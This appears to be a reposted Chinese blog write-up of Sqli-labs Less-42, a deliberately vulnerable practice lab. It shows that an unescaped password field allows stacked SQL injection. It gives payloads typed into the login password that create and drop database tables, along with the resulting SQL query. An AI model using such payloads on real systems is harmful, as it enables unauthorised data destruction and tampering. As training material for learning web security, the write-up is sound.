Sqli-labs less 42

Less-42

Update更新数据后,经过mysql_real_escape_string()处理后的数据,存入到数据库当中后不会发生变化。在select调用的时候才能发挥作用。所以不用考虑在更新密码处进行注入,这关和二次注入的思路是不一样的。

本关从login.php源代码中分析可知:

Password变量在post过程中,没有通过mysql_real_escape_string()函数的处理。因此在登录的时候密码选项我们可以进行attack。

登录用户名随意

密码登录用以下的方式c';drop table me# (删除me 表)

c';create table me like users# (创建一个me 的表)

下面这张图是我们没有登录时数据库当中存在的表

 

 

 

此处登录username:admin

Password:c';create table less42 like users#

原sql语句为

$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

登录时构造的sql语句为

SELECT * FROM users WHERE username='admin' and password='c';create table less42 like users#

利用stacked injection,我们成功执行创建数据表less42的语句。

从下图可以看出show tables后已经成功创建less42表。

 

利用c';drop table me#作为登录密码,删除该表。

同样的利用此方式可以更新和插入数据项,这里就不进行演示了。

转载于:https://www.cnblogs.com/lcamry/p/5762791.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值